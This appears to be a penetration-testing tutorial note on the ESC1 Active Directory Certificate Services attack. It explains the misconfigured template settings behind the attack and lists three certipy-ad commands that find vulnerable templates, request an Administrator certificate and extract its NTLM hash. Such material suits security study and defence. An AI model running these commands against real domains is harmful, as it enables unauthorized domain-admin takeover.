ESC1-Attack

ESC1 Attack

An ESC1 attack is a privilege escalation technique that exploits misconfigured certificate templates within Microsoft Active Directory Certificate Services (AD CS) to gain unauthorized access to high-privileged accounts, such as Domain Administrators.
This attack enables an adversary to request and receive a digital certificate for a privileged identity, allowing them to authenticate as that user and gain elevated control over the Active Directory environment.

---

🧩 Root Cause

Three key misconfigurations combine to make ESC1 possible:

1. Overly Broad Enrollment Permissions – The certificate template’s ACL grants Enroll (or Autoenroll) rights to Domain Users or other low-privileged groups. This means standard users can request certificates from that template.

2. Subject Supplied by Enrollee (ENROLLEE_SUPPLIES_SUBJECT) – The template allows the requester to specify their own Subject or Subject Alternative Name (SAN). Attackers can insert another user’s UPN/SAMAccountName, making the certificate appear to belong to that target account.

3. Authentication EKUs Enabled – The certificate template includes Client Authentication or Smartcard Logon EKUs. Certificates with these EKUs can be used for Kerberos PKINIT or certificate-based authentication to services.

---

⚡ Attack Power

With the help of this ESC1 vulnerability, an attacker can request any user’s .pfx file and authenticate within the domain using certificate-based authentication.

---

🧠 Exploitation Example

Step 1: Find the Vulnerable Certificate Template

certipy-ad find -u $username@$domain -p '$password' -dc-ip $target -stdout -vulnerable
# OR
certipy-ad find -username '$controller_user@$domain' -password '$controller_user_pass' -dc-ip $target -stdout -vulnerable

Step 2: Request a Certificate for an Admin Account

certipy-ad req -username '$controller_user@$domain' -password '$controller_user_pass' -ca $ca_Name -target $target -template $template_Name -upn Administrator@$domain

Step 3: Authenticate and Extract the NTLM Hash

certipy-ad auth -pfx administrator.pfx -dc-ip $target

---

🧾 Summary

Aspect	Details
Attack Type	Privilege Escalation
Service Targeted	Active Directory Certificate Services (AD CS)
Main Exploit Vector	Misconfigured Certificate Template
Impact	Domain Admin Privilege Escalation

---